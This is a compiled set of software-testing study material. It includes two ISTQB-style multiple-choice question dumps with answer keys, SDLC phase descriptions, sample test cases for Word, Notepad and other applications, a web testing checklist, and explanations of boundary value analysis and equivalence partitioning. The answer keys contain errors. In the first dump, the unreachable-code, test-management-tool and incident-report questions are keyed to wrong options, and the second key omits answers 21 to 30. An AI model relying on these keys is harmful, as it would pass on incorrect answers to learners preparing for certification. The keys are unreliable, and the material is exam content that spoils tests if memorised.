d) Syntax testing
e) Boundary value analysis


20) Beta testing is:
a) Performed by customers at their own site
b) Performed by customers at their software developer’s site
c) Performed by an independent test team
d) Useful to test bespoke software
e) Performed as early as possible in the lifecycle


21) Given the following types of tool, which tools would typically be used by developers and
which by an independent test team:
i. static analysis
ii. performance testing
iii. test management
iv. dynamic analysis
v. test running
vi. test data preparation
a) developers would typically use i, iv and vi; test team ii, iii and v
b) developers would typically use i and iv; test team ii, iii, v and vi
c) developers would typically use i, ii, iii and iv; test team v and vi
d) developers would typically use ii, iv and vi; test team I, ii and v
e) developers would typically use i, iii, iv and v; test team ii and vi


22) The main focus of acceptance testing is:
a) finding faults in the system
b) ensuring that the system is acceptable to all users
c) testing the system with other systems
d) testing for a business perspective
e) testing by an independent test team


23) Which of the following statements about the component testing standard is false:
a) black box design techniques all have an associated measurement technique
b) white box design techniques all have an associated measurement technique
c) cyclomatic complexity is not a test measurement technique
d) black box measurement techniques all have an associated test design technique
e) white box measurement techniques all have an associated test design technique


24) Which of the following statements is NOT true:
a) inspection is the most formal review process
b) inspections should be led by a trained leader
c) managers can perform inspections on management documents
d) inspection is appropriate even when there are no written documents
e) inspection compares documents with predecessor (source) documents


25) A typical commercial test execution tool would be able to perform all of the following
EXCEPT:
a) generating expected outputs
b) replaying inputs according to a programmed script
c) comparison of expected outcomes with actual outcomes
d) recording test inputs
e) reading test values from a data file


26) The difference between re-testing and regression testing is
a) re-testing is running a test again; regression testing looks for unexpected side effects
b) re-testing looks for unexpected side effects; regression testing is repeating those tests
c) re-testing is done after faults are fixed; regression testing is done earlier
d) re-testing uses different environments, regression testing uses the same environment
e) re-testing is done by developers, regression testing is done by independent testers


27) Expected results are:
a) only important in system testing
b) only used in component testing
c) never specified in advance
d) most useful when specified in advance
e) derived from the code


28) Test managers should not:
a) report on deviations from the project plan
b) sign the system off for release
c) re-allocate resource to meet original plans
d) raise incidents on faults that they have found
e) provide information for risk analysis and quality improvement


29) Unreachable code would best be found using:
a) code reviews
b) code inspections
c) a coverage tool
d) a test management tool
e) a static analysis tool


30) A tool that supports traceability, recording of incidents or scheduling of tests is called:
a) a dynamic analysis tool
b) a test execution tool
c) a debugging tool
d) a test management tool
e) a configuration management tool


31) What information need not be included in a test incident report:
a) how to fix the fault
b) how to reproduce the fault
c) test environment details
d) severity, priority
e) the actual and expected outcomes


32) Which expression best matches the following characteristics or review processes:
1. led by author
2. undocumented
3. no management participation
4. led by a trained moderator or leader
5. uses entry exit criteria
s) inspection
t) peer review
u) informal review
v) walkthrough
a) s = 4, t = 3, u = 2 and 5, v = 1
b) s = 4 and 5, t = 3, u = 2, v = 1
c) s = 1 and 5, t = 3, u = 2, v = 4
d) s = 5, t = 4, u = 3, v = 1 and 2
e) s = 4 and 5, t = 1, u = 2, v = 3


33) Which of the following is NOT part of system testing:
a) business process-based testing
b) performance, load and stress testing
c) requirements-based testing
d) usability testing
e) top-down integration testing


34) What statement about expected outcomes is FALSE:
a) expected outcomes are defined by the software’s behaviour
b) expected outcomes are derived from a specification, not from the code
c) expected outcomes include outputs to a screen and changes to files and databases
d) expected outcomes should be predicted before a test is run
e) expected outcomes may include timing constraints such as response times


35) The standard that gives definitions of testing terms is:
a) ISO/IEC 12207
b) BS7925-1
c) BS7925-2
d) ANSI/IEEE 829
e) ANSI/IEEE 729


36) The cost of fixing a fault:
a) Is not important
b) Increases as we move the product towards live use
c) Decreases as we move the product towards live use
d) Is more expensive if found in requirements than functional design
e) Can never be determined


37) Which of the following is NOT included in the Test Plan document of the Test Documentation
Standard:
a) Test items (i.e. software versions)
b) What is not to be tested
c) Test environments
d) Quality plans
e) Schedules and deadlines


38) Could reviews or inspections be considered part of testing:
a) No, because they apply to development documentation
b) No, because they are normally applied before testing
c) No, because they do not apply to the test documentation
d) Yes, because both help detect faults and improve quality
e) Yes, because testing includes all non-constructive activities


39) Which of the following is not part of performance testing:
a) Measuring response time
b) Measuring transaction rates
c) Recovery testing
d) Simulating many users
e) Generating many transactions


40) Error guessing is best used
a) As the first approach to deriving test cases
b) After more formal techniques have been applied
c) By inexperienced testers
d) After the system has gone live
e) Only by end users



Answer
1 » C
2 » C
3 » E
4 » E
5 » C
6 » A
7 » B
8 » B
9 » C
10 » E
11 » B
12 » B
13 » B
14 » B
15 » E
16 » C
17 » B
18 » C
19 » C
20 » A
21 » B
22 » D
23 » A
24 » D
25 » A
26 » A
27 » D
28 » C
29 » A
30 » E
31 » E
32 » B
33 » E
34 » A
35 » B
36 » B
37 » D
38 » D
39 » C
40 » B

ISTQB Question Paper Dump 1

ISTQB Sample Question Paper Dump 3


1) We split testing into distinct stages primarily because:
a) Each test stage has a different purpose.
b) It is easier to manage testing in stages.
c) We can run different tests in different environments.
d) The more stages we have, the better the testing.



2) Which of the following is likely to benefit most from the use of test tools providing test capture and
replay facilities?
a) Regression testing
b) Integration testing
c) System testing
d) User acceptance testing



3) Which of the following statements is NOT correct?
a) A minimal test set that achieves 100% LCSAJ coverage will also achieve 100% branch coverage.
b) A minimal test set that achieves 100% path coverage will also achieve 100% statement coverage.
c) A minimal test set that achieves 100% path coverage will generally detect more faults than one that
achieves 100% statement coverage.
d) A minimal test set that achieves 100% statement coverage will generally detect more faults than one
that achieves 100% branch coverage.


4) Which of the following requirements is testable?
a) The system shall be user friendly.
b) The safety-critical parts of the system shall contain 0 faults.
c) The response time shall be less than one second for the specified design load.
d) The system shall be built to be portable.


5) Analyse the following highly simplified procedure:
Ask: “What type of ticket do you require, single or return?”
IF the customer wants ‘return’
Ask: “What rate, Standard or Cheap-day?”
IF the customer replies ‘Cheap-day’
Say: “That will be £11:20”
ELSE
Say: “That will be £19:50”
ENDIF
ELSE
Say: “That will be £9:75”
ENDIF
Now decide the minimum number of tests that are needed to ensure that all
the questions have been asked, all combinations have occurred and all
replies given.
a) 3
b) 4
c) 5
d) 6


6) Error guessing:
a) supplements formal test design techniques.
b) can only be used in component, integration and system testing.
c) is only performed in user acceptance testing.
d) is not repeatable and should not be used.


7) Which of the following is NOT true of test coverage criteria?
a) Test coverage criteria can be measured in terms of items exercised by a test suite.
b) A measure of test coverage criteria is the percentage of user requirements covered.
c) A measure of test coverage criteria is the percentage of faults found.
d) Test coverage criteria are often used when specifying test completion criteria.


8) In prioritising what to test, the most important objective is to:
a) find as many faults as possible.
b) test high risk areas.
c) obtain good test coverage.
d) test whatever is easiest to test.


9) Given the following sets of test management terms (v-z), and activity descriptions (1-5), which one of
the following best pairs the two sets?
v – test control
w – test monitoring
x - test estimation
y - incident management
z - configuration control
1 - calculation of required test resources
2 - maintenance of record of test results
3 - re-allocation of resources when tests overrun
4 - report on deviation from test plan
5 - tracking of anomalous test results
a) v-3,w-2,x-1,y-5,z-4
b) v-2,w-5,x-1,y-4,z-3
c) v-3,w-4,x-1,y-5,z-2
d) v-2,w-1,x-4,y-3,z-5


10) Which one of the following statements about system testing is NOT true?
a) System tests are often performed by independent teams.
b) Functional testing is used more than structural testing.
c) Faults found during system tests can be very expensive to fix.
d) End-users should be involved in system tests.


11) Which of the following is false?
a) Incidents should always be fixed.
b) An incident occurs when expected and actual results differ.
c) Incidents can be analysed to assist in test process improvement.
d) An incident can be raised against documentation.


12) Enough testing has been performed when:
a) time runs out.
b) the required level of confidence has been achieved.
c) no more faults are found.
d) the users won’t find any serious faults.


13) Which of the following is NOT true of incidents?
a) Incident resolution is the responsibility of the author of the software under test.
b) Incidents may be raised against user requirements.
c) Incidents require investigation and/or correction.
d) Incidents are raised when expected and actual results differ.



14) Which of the following is not described in a unit test standard?
a) syntax testing
b) equivalence partitioning
c) stress testing
d) modified condition/decision coverage


15) Which of the following is false?
a) In a system two different failures may have different severities.
b) A system is necessarily more reliable after debugging for the removal of a fault.
c) A fault need not affect the reliability of a system.
d) Undetected errors may lead to faults and eventually to incorrect behaviour.


16) Which one of the following statements, about capture-replay tools, is NOT correct?
a) They are used to support multi-user testing.
b) They are used to capture and animate user requirements.
c) They are the most frequently purchased types of CAST tool.
d) They capture aspects of user behaviour.


17) How would you estimate the amount of re-testing likely to be required?
a) Metrics from previous similar projects
b) Discussions with the development team
c) Time allocated for regression testing
d) a & b


18) Which of the following is true of the V-model?
a) It states that modules are tested against user requirements.
b) It only models the testing phase.
c) It specifies the test techniques to be used.
d) It includes the verification of designs.


19) The oracle assumption:
a) is that there is some existing system against which test output may be checked.
b) is that the tester can routinely identify the correct outcome of a test.
c) is that the tester knows everything about the software under test.
d) is that the tests are reviewed by experienced testers.


20) Which of the following characterises the cost of faults?
a) They are cheapest to find in the early development phases and the most expensive to fix in the latest
test phases.
b) They are easiest to find during system testing but the most expensive to fix then.
c) Faults are cheapest to find in the early development phases but the most expensive to fix then.
d) Although faults are most expensive to find during early development phases, they are cheapest to fix
then.


21) Which of the following should NOT normally be an objective for a test?
a) To find faults in the software.
b) To assess whether the software is ready for release.
c) To demonstrate that the software doesn’t work.
d) To prove that the software is correct.


22) Which of the following is a form of functional testing?
a) Boundary value analysis
b) Usability testing
c) Performance testing
d) Security testing


23) Which of the following would NOT normally form part of a test plan?
a) Features to be tested
b) Incident reports
c) Risks
d) Schedule


24) Which of these activities provides the biggest potential cost saving from the use of CAST?
a) Test management
b) Test design
c) Test execution
d) Test planning


25) Which of the following is NOT a white box technique?
a) Statement testing
b) Path testing
c) Data flow testing
d) State transition testing


26) Data flow analysis studies:
a) possible communications bottlenecks in a program.
b) the rate of change of data values as a program executes.
c) the use of data on paths through the code.
d) the intrinsic complexity of the code.


27) In a system designed to work out the tax to be paid:
An employee has £4000 of salary tax free. The next £1500 is taxed at 10%
The next £28000 is taxed at 22%
Any further amount is taxed at 40%
To the nearest whole pound, which of these is a valid Boundary Value Analysis test case?
a) £1500
b) £32001
c) £33501
d) £28000


28) An important benefit of code inspections is that they:
a) enable the code to be tested before the execution environment is ready.
b) can be performed by the person who wrote the code.
c) can be performed by inexperienced staff.
d) are cheap to perform.


29) Which of the following is the best source of Expected Outcomes for User Acceptance Test scripts?
a) Actual results
b) Program specification
c) User requirements
d) System specification


30) What is the main difference between a walkthrough and an inspection?
a) An inspection is lead by the author, whilst a walkthrough is lead by a trained moderator.
b) An inspection has a trained leader, whilst a walkthrough has no leader.
c) Authors are not present during inspections, whilst they are during walkthroughs.
d) A walkthrough is lead by the author, whilst an inspection is lead by a trained moderator.



31) Which one of the following describes the major benefit of verification early in the life cycle?
a) It allows the identification of changes in user requirements.
b) It facilitates timely set up of the test environment.
c) It reduces defect multiplication.
d) It allows testers to become involved early in the project.


32) Integration testing in the small:
a) tests the individual components that have been developed.
b) tests interactions between modules or subsystems.
c) only uses components that form part of the live system.
d) tests interfaces to other systems.


33) Static analysis is best described as:
a) the analysis of batch programs.
b) the reviewing of test plans.
c) the analysis of program code.
d) the use of black box testing.


34) Alpha testing is:
a) post-release testing by end user representatives at the developer’s site.
b) the first testing that is performed.
c) pre-release testing by end user representatives at the developer’s site.
d) pre-release testing by end user representatives at their sites.


35) A failure is:
a) found in the software; the result of an error.
b) departure from specified behaviour.
c) an incorrect step, process or data definition in a computer program.
d) a human action that produces an incorrect result.


36) In a system designed to work out the tax to be paid:
An employee has £4000 of salary tax free. The next £1500 is taxed at 10%
The next £28000 is taxed at 22%
Any further amount is taxed at 40%
Which of these groups of numbers would fall into the same equivalence class?
a) £4800; £14000; £28000
b) £5200; £5500; £28000
c) £28001; £32000; £35000
d) £5800; £28000; £32000


37) The most important thing about early test design is that it:
a) makes test preparation easier.
b) means inspections are not required.
c) can prevent fault multiplication.
d) will find all faults.


38) Which of the following statements about reviews is true?
a) Reviews cannot be performed on user requirements specifications.
b) Reviews are the least effective way of testing code.
c) Reviews are unlikely to find faults in test plans.
d) Reviews should be performed on specifications, code, and test plans.


39) Test cases are designed during:
a) test recording.
b) test planning.
c) test configuration.
d) test specification.


40) A configuration management system would NOT normally provide:
a) linkage of customer requirements to version numbers.
b) facilities to compare test results with expected results.
c) the precise differences in versions of software component source code.
d) restricted access to the source code library.


Answers
1 » A
2 » A
3 » D
4 » C
5 » A
6 » A
7 » C
8 » B
9 » C
10» D
11 » A
12 » B
13 » A
14 » C
15 » B
16 » B
17 » D
18 » D
19 » B
20 » A
31 » C
32 » B
33 » C
34 » C
35 » B
36 » D
37 » C
38 » D
39 » D
40 » B

Difference between Normal Testing and UAT Testing

System testing:

It is based on SRS(Software Requirement Specification)

It is 100% black box testing.

It is done by testers in the organization.

Defects can be corrected here.

All possible dummy inputs are checked.

UAT:

It is based on the business scenario.

It is done by the clients.

If defects are found they are said as failure product.

Random inputs are checked.

Software Developement Life Cycle

Software products, which don’t happen to be user friendly just, don’t find any place in a highly competitive market of this modern era, although they might have been developed with the help of the best available technology. The ease of use of the product is of paramount importance compared to its internal technology, which the customer is not going to see.

Thus for the creation of Innovative Software products, the Development Life Cycle undergoes six phases like:

1) Initial Phase
2) Analysis Phase
3) Design phase
4) Coding Phase
5) Testing Phase
6) Delivery and Maintenance phase

Phase – 1: Initial Phase: Involves Interaction with the customer and capturing all the requirements.

Personnel Involved: 1) Business Annalist – BA & 2) Engagement Manager - EM

Process Involved: This phase begins with a technical meeting between the Business Analyst & the customer. The Business Analyst (BM) understands all the requirements from the customer & prepares comprehensive requirements document with the help of standard templates & check sheets used by the company. The requirements document forms the basis for further study & action by the Engagement Manager (EM).

The Engagement Manager tries to hunt for extra requirements if any, which might not be apparent immediately but might involve extra cost. To resolve ambiguous requirements if any, the Engagement Manager organizes demonstration of a prototype if necessary. Such action of quick demonstration of a prototype, which is nothing but a rapidly developed model for the customer is found extremely helpful to remove ambiguities from the requirements on one hand & help winning the confidence of the customer on the other.

Ultimate objective of this phase is to prepare a most comprehensive customer requirements document. Many companies call it with different names like:

# BRS: Business Requirement Specification.
# FRS: Functional Requirement Specification.
# URS: User Requirement Specification.
# CRS: Client / Customer Requirement Specification.
# BDD: Business Design Document.
# BD : Business Document.

Depending upon the system followed by various companies, sometimes a single document is maintained, while some companies may go in for two documents. In this case, Broad / outlining information is recorded in the BRS (Business Requirement Specification), while detailed information is recorded in FRS (Functional Requirement Specification).


Phase – 2: Analysis Phase: Involves Feasibility Study, Broad Planning, Technology selection, Requirement analysis etc.

Personnel Involved: 1) System Annalist – SA, 2) Project Manager – PM & 3) Team Manager -TM

Process Involved: To understand the nature of the program to be developed, the System Annalist focuses on understanding the information domain of the software, its necessary functions, behaviors, performance and necessary interfaces etc. The major objective of the analysis phase is to find out the need and to define the problem, which needs to be solved.

The process covers four distinct analytical operations like:

1) Feasibility Study: Involves detailed study of all the requirements to ascertain as to whether it is possible to meet all the requirements or not. There may be a need for the development team to visit the customer place for study of their system. They development team may investigate the need for possible software automation within the boundaries of the given system.

2) Broad Planning: Involves an outline document on planning of all resource and time wise planning.

3) Technology Selection: Involves identification, analysis & compilation of various tools & technologies, which would be needed to accomplish the project successfully.

4) Requirement analysis: Involves identification & compilation of various requirements of human resources, hardware & software, which would be needed to accomplish the project successfully.

Ultimate objective of this phase is to prepare a most comprehensive document called SRC or Software Requirement Specification.


Phase – 3: Design Phase: Involves hard core design activities like 1) HLD - High Level Designing & 2) LLD - Low Level Designing

Personnel Involved: 1) Chief Architect – CA is responsible for High Level Designing, 2) Technical Lead – TL is responsible for Low Level Designing

Process Involved: The Chief Architect – CA, starts The entire designing process. This involves subdivision of the entire project into various modules & the process is adequately explained with the help of flow charts & diagrams. Thereafter, the Technical Lead – TL further subdivides these main Modules into sub modules with the help of Unified Modeling Language - UML. The technical lead is responsible for creating the Pseudo Code which is a comprehensive set of instructions written in English language & are meant for guiding the actual code developers.

Ultimate objective of this phase is to prepare a Technical Design Document - TDD.


Phase – 4: Coding Phase: Involves actual Programming or Coding.

Personnel Involved: Code Developers or Programmers

Process Involved: The design needs to be translated into a machine-readable form. There comes the process of code generation. With the help of Pseudo Code written by the Technical Lead – TL during the Design Phase, Developers carry out the development of the actual source code. The entire coding process is bound by stipulated coding standards defined by the company.

Ultimate objective of this phase is to prepare a Source Code Document - SCD.


Phase – 5: Testing Phase: Involves rigorous testing of the application developed by the programmers.

Personnel Involved: Testing Engineers.

Process Involved: Different testing methodologies are practiced to detect the software bugs, which happen to take birth during the previous phases. Various testing tools and methodologies are available these days. Some companies create their own testing tools, which are custom made to suit their own development functions.

# In fact the testing process begins right from the customer requirement document. A good test engineer starts his work by thorough study of the requirement document. In case of any doubt arising during understanding of customer requirements, the test engineer raises a Review Report –RR, which contains details of all the doubts.

# Having clarified all the doubts & ambiguities, and after having a thorough understanding of the requirements, the test engineer shall write the test cases with the help of company specific test case templates.

# Execution of the test cases upon the release of the first build by the developers. This follows recording of defects in a defect profile document.

# The defect profile document is transferred to the developers for improvements / eradication of defects found by them. The testing process halts here till next build with improvements is released by the developers.

# The entire testing process involving execution of test cases is repeated on the new build. This process of code improvement, subsequent testing on new builds & finding of defects continues again and again till the product is free from defects.

# The testing process is decided to be stopped after gaining reasonable confidence of product being defect free

Ultimate objective of this phase is to produce a Quality Product.


Phase – 6: Delivery and Maintenance phase: Involves Installing the newly developed application under the client environment.

Personnel Involved: Senior Testing Engineers who are entrusted the task of Deployment Engineers.

Process Involved:
# Delivery: After the code is appropriately tested, it is approved for release, it is deployed into a production environment. The deployment of application is done with the help of guidelines provided in the application deployment document.

# Maintenance: After the deployment of the application, client may encounter many task-based problems.

Maintaining and enhancing the software to cope up with newly discovered problems or new requirements can take far more time than the initial development of the software. It may be necessary to add some code, which does not fit the original design to correct an unforeseen problem. It may be that the customer is requesting more functionality, and some code can be added to take care of his requests.

Test Cases Samples

Write test cases for copy & paste in MS Word

1. Verify that the text which is selected for copy, that area should get highlighted.
2. Verify that on the selected text if right click is done then copy option should be enabled and paste option should be disabled.
3. Verify that once the selected area is copied then in the right click paste option should get enabled
4. Verify if the text is not selected then cut and copy should be disabled in the right click option.
5. Verify that the using the short cut keys like CTRL+C, CTRL+V the text are getting pastes.
6. Verify that using Edit menu option the user is able to copy and paste the text.
7. Verify that if some text area is selected and right click paste is done then copied text should get overwrite on the selected text.
8. Verify that the copy should copy the content with own format.
9. Verify that Paste function should paste the content n times.

Test Cases for White Board

1. Verify the Length & Width of the Board
2. Verify the Surface of the Board
3. Check whether you can able to write on the board
4. Check written words are visible
5. Try to erase the words written & write a new words



Test Cases for Save As Button in MS Office:

* Give ctrl + S save as dialogue box should be appear.
* Goto File->Save AS, save as Dialogue box should be appear.
* To give File name, File name Field should be availabld.
* To choose the document type Save as type combo box should be available.
* To navigate to the desired path to save the file.. navigational buttons should be available.
* To change the view of the folder icons, Change view button should be display.
* On clicking save button, the File should be saved in the given path.
* On Clicking cancel button or Close(x) button or Press Esc Key, the save as dialogue box should be closed and the cursor should blink in the document.



Test Cases for Note Pad as "Save"
Click File-Save (should open a window and should ask you the file name and path as well)

Check for .extension like it should be .txt only

Check for short-key like (Ctrl+S) and ask for same option as above (should open an window and should ask you the file name and path as well)

Save as (should open the same window with same file name path)

If you change that file name and path in that window then it should accept.

If you dont give any name in it then data should not be saved.

Should accept all alph-numeric, space and special characters.

Performance:
Add huge amount of data the file and test the time taken for saving the file.

Load:

Keep on adding huge and save every time you add data, and test how much data a notepad can save..

Stress:

If you add enormous amount of data (say 100 MB data), notepad fails to save the data.

Add huge data till notepad fails to save the data and test at what point notepad fails to save the data.

Web testing checklist

Let’s have first web testing checklist.
1) Functionality Testing
2) Usability testing
3) Interface testing
4) Compatibility testing
5) Performance testing
6) Security testing

1) Functionality Testing:

Test for – all the links in web pages, database connection, forms used in the web pages for submitting or getting information from user, Cookie testing.

Check all the links:

* Test the outgoing links from all the pages from specific domain under test.
* Test all internal links.
* Test links jumping on the same pages.
* Test links used to send the email to admin or other users from web pages.
* Test to check if there are any orphan pages.
* Lastly in link checking, check for broken links in all above-mentioned links.

Test forms in all pages:
Forms are the integral part of any web site. Forms are used to get information from users and to keep interaction with them. So what should be checked on these forms?

* First check all the validations on each field.
* Check for the default values of fields.
* Wrong inputs to the fields in the forms.
* Options to create forms if any, form delete, view or modify the forms.

Let’s take example of the search engine project currently I am working on, In this project we have advertiser and affiliate signup steps. Each sign up step is different but dependent on other steps. So sign up flow should get executed correctly. There are different field validations like email Ids, User financial info validations. All these validations should get checked in manual or automated web testing.

Cookies testing:
Cookies are small files stored on user machine. These are basically used to maintain the session mainly login sessions. Test the application by enabling or disabling the cookies in your browser options. Test if the cookies are encrypted before writing to user machine. If you are testing the session cookies (i.e. cookies expire after the sessions ends) check for login sessions and user stats after session end. Check effect on application security by deleting the cookies. (I will soon write separate article on cookie testing)

Validate your HTML/CSS:
If you are optimizing your site for Search engines then HTML/CSS validation is very important. Mainly validate the site for HTML syntax errors. Check if site is crawlable to different search engines.

Database testing:
Data consistency is very important in web application. Check for data integrity and errors while you edit, delete, modify the forms or do any DB related functionality.
Check if all the database queries are executing correctly, data is retrieved correctly and also updated correctly. More on database testing could be load on DB, we will address this in web load or performance testing below.

2) Usability Testing:

Test for navigation:
Navigation means how the user surfs the web pages, different controls like buttons, boxes or how user using the links on the pages to surf different pages.
Usability testing includes:
Web site should be easy to use. Instructions should be provided clearly. Check if the provided instructions are correct means whether they satisfy purpose.
Main menu should be provided on each page. It should be consistent.

Content checking:
Content should be logical and easy to understand. Check for spelling errors. Use of dark colors annoys users and should not be used in site theme. You can follow some standards that are used for web page and content building. These are common accepted standards like as I mentioned above about annoying colors, fonts, frames etc.
Content should be meaningful. All the anchor text links should be working properly. Images should be placed properly with proper sizes.
These are some basic standards that should be followed in web development. Your task is to validate all for UI testing

Other user information for user help:
Like search option, sitemap, help files etc. Sitemap should be present with all the links in web sites with proper tree view of navigation. Check for all links on the sitemap.
“Search in the site” option will help users to find content pages they are looking for easily and quickly. These are all optional items and if present should be validated.

3) Interface Testing:
The main interfaces are:
Web server and application server interface
Application server and Database server interface.

Check if all the interactions between these servers are executed properly. Errors are handled properly. If database or web server returns any error message for any query by application server then application server should catch and display these error messages appropriately to users. Check what happens if user interrupts any transaction in-between? Check what happens if connection to web server is reset in between?

4) Compatibility Testing:
Compatibility of your web site is very important testing aspect. See which compatibility test to be executed:

* Browser compatibility
* Operating system compatibility
* Mobile browsing
* Printing options

Browser compatibility:
In my web-testing career I have experienced this as most influencing part on web site testing.
Some applications are very dependent on browsers. Different browsers have different configurations and settings that your web page should be compatible with. Your web site coding should be cross browser platform compatible. If you are using java scripts or AJAX calls for UI functionality, performing security checks or validations then give more stress on browser compatibility testing of your web application.
Test web application on different browsers like Internet explorer, Firefox, Netscape navigator, AOL, Safari, Opera browsers with different versions.

OS compatibility:
Some functionality in your web application is may not be compatible with all operating systems. All new technologies used in web development like graphics designs, interface calls like different API’s may not be available in all Operating Systems.
Test your web application on different operating systems like Windows, Unix, MAC, Linux, Solaris with different OS flavors.

Mobile browsing:
This is new technology age. So in future Mobile browsing will rock. Test your web pages on mobile browsers. Compatibility issues may be there on mobile.

Printing options:
If you are giving page-printing options then make sure fonts, page alignment, page graphics getting printed properly. Pages should be fit to paper size or as per the size mentioned in printing option.

5) Performance testing:
Web application should sustain to heavy load. Web performance testing should include:
Web Load Testing
Web Stress Testing

Test application performance on different internet connection speed.
In web load testing test if many users are accessing or requesting the same page. Can system sustain in peak load times? Site should handle many simultaneous user requests, large input data from users, Simultaneous connection to DB, heavy load on specific pages etc.

Stress testing: Generally stress means stretching the system beyond its specification limits. Web stress testing is performed to break the site by giving stress and checked how system reacts to stress and how system recovers from crashes.
Stress is generally given on input fields, login and sign up areas.

In web performance testing web site functionality on different operating systems, different hardware platforms is checked for software, hardware memory leakage errors,

6) Security Testing:

Following are some test cases for web security testing:

* Test by pasting internal url directly into browser address bar without login. Internal pages should not open.
* If you are logged in using username and password and browsing internal pages then try changing url options directly. I.e. If you are checking some publisher site statistics with publisher site ID= 123. Try directly changing the url site ID parameter to different site ID which is not related to logged in user. Access should denied for this user to view others stats.
* Try some invalid inputs in input fields like login username, password, input text boxes. Check the system reaction on all invalid inputs.
* Web directories or files should not be accessible directly unless given download option.
* Test the CAPTCHA for automates scripts logins.
* Test if SSL is used for security measures. If used proper message should get displayed when user switch from non-secure http:// pages to secure https:// pages and vice versa.
* All transactions, error messages, security breach attempts should get logged in log files somewhere on web server.

Boundary Value Analysis

Boundary value analysis is a software testing technique in which tests are designed to include representatives of boundary values. Values on the minimum and maxiumum edges of an equivalence partition are tested. The values could be either input or output ranges of a software component. Since these boundaries are common locations for errors that result in software faults they are frequently exercised in test cases.
[edit] Application

The expected input and output values to the software component should be extracted from the component specification. The values are then grouped into sets with identifiable boundaries. Each set, or partition, contains values that are expected to be processed by the component in the same way. Partitioning of test data ranges is explained in the equivalence partitioning test case design technique. It is important to consider both valid and invalid partitions when designing test cases.

For an example, if the input values were months of the year expressed as integers, the input parameter 'month' might have the following partitions:

... -2 -1 0 1 .............. 12 13 14 15 .....
--------------|-------------------|-------------------
invalid partition 1 valid partition invalid partition 2

The boundary between two partitions is the place where the behavior of the application changes and is not a real number itself. The boundary value is the minimum (or maximum) value that is at the boundary. The number 0 is the maximum number in the first partition, the number 1 is the minimum value in the second partition, both are boundary values. Test cases should be created to generate inputs or outputs that will fall on and to either side of each boundary, which results in two cases per boundary. The test cases on each side of a boundary should be in the smallest increment possible for the component under test, for an integer this is 1, but the input was a decimal with 2 places then it would be .01. In the example above there are boundary values at 0,1 and 12,13 and each should be tested.

Boundary value analysis does not require invalid partitions. Take an example where a heater is turned on if the temperature is 10 degrees or colder. There are two partitions (temperature<=10, temperature>10) and two boundary values to be tested (temperature=10, temperature=11).

Where a boundary value falls within the invalid partition the test case is designed to ensure the software component handles the value in a controlled manner. Boundary value analysis can be used throughout the testing cycle and is equally applicable at all testing phases.

Equivalence partitioning

Equivalence partitioning (also called Equivalence Class Partitioning or ECP[1]) is a software testing technique that divides the input data of a software unit into partitions of data from which test cases can be derived. In principle, test cases are designed to cover each partition at least once. This technique tries to define test cases that uncover classes of errors, thereby reducing the total number of test cases that must be developed.

In rare cases equivalence partitioning is also applied to outputs of a software component, typically it is applied to the inputs of a tested component. The equivalence partitions are usually derived from the requirements specification for input attributes that influence the processing of the test object. An input has certain ranges which are valid and other ranges which are invalid. Invalid data here does not mean that the data is incorrect, it means that this data lies outside of specific partition. This may be best explained by the example of a function which takes a parameter "month". The valid range for the month is 1 to 12, representing January to December. This valid range is called a partition. In this example there are two further partitions of invalid ranges. The first invalid partition would be <= 0 and the second invalid partition would be >= 13.

... -2 -1 0 1 .............. 12 13 14 15 .....
--------------|-------------------|---------------------
invalid partition 1 valid partition invalid partition 2

The testing theory related to equivalence partitioning says that only one test case of each partition is needed to evaluate the behaviour of the program for the related partition. In other words it is sufficient to select one test case out of each partition to check the behaviour of the program. To use more or even all test cases of a partition will not find new faults in the program. The values within one partition are considered to be "equivalent". Thus the number of test cases can be reduced considerably.

An additional effect of applying this technique is that you also find the so called "dirty" test cases. An inexperienced tester may be tempted to use as test cases the input data 1 to 12 for the month and forget to select some out of the invalid partitions. This would lead to a huge number of unnecessary test cases on the one hand, and a lack of test cases for the dirty ranges on the other hand.

The tendency is to relate equivalence partitioning to so called black box testing which is strictly checking a software component at its interface, without consideration of internal structures of the software. But having a closer look at the subject there are cases where it applies to grey box testing as well. Imagine an interface to a component which has a valid range between 1 and 12 like the example above. However internally the function may have a differentiation of values between 1 and 6 and the values between 7 and 12. Depending upon the input value the software internally will run through different paths to perform slightly different actions. Regarding the input and output interfaces to the component this difference will not be noticed, however in your grey-box testing you would like to make sure that both paths are examined. To achieve this it is necessary to introduce additional equivalence partitions which would not be needed for black-box testing. For this example this would be:

... -2 -1 0 1 ..... 6 7 ..... 12 13 14 15 .....
--------------|---------|----------|---------------------
invalid partition 1 P1 P2 invalid partition 2
valid partitions

To check for the expected results you would need to evaluate some internal intermediate values rather than the output interface. It is not necessary that we should use multiple values from each partition. In the above scenario we can take -2 from invalid partition 1, 6 from valid partition, and 15 from invalid partition 2.

Equivalence partitioning is not a stand alone method to determine test cases. It has to be supplemented by boundary value analysis. Having determined the partitions of possible inputs the method of boundary value analysis has to be applied to select the most effective test cases out of these partitions.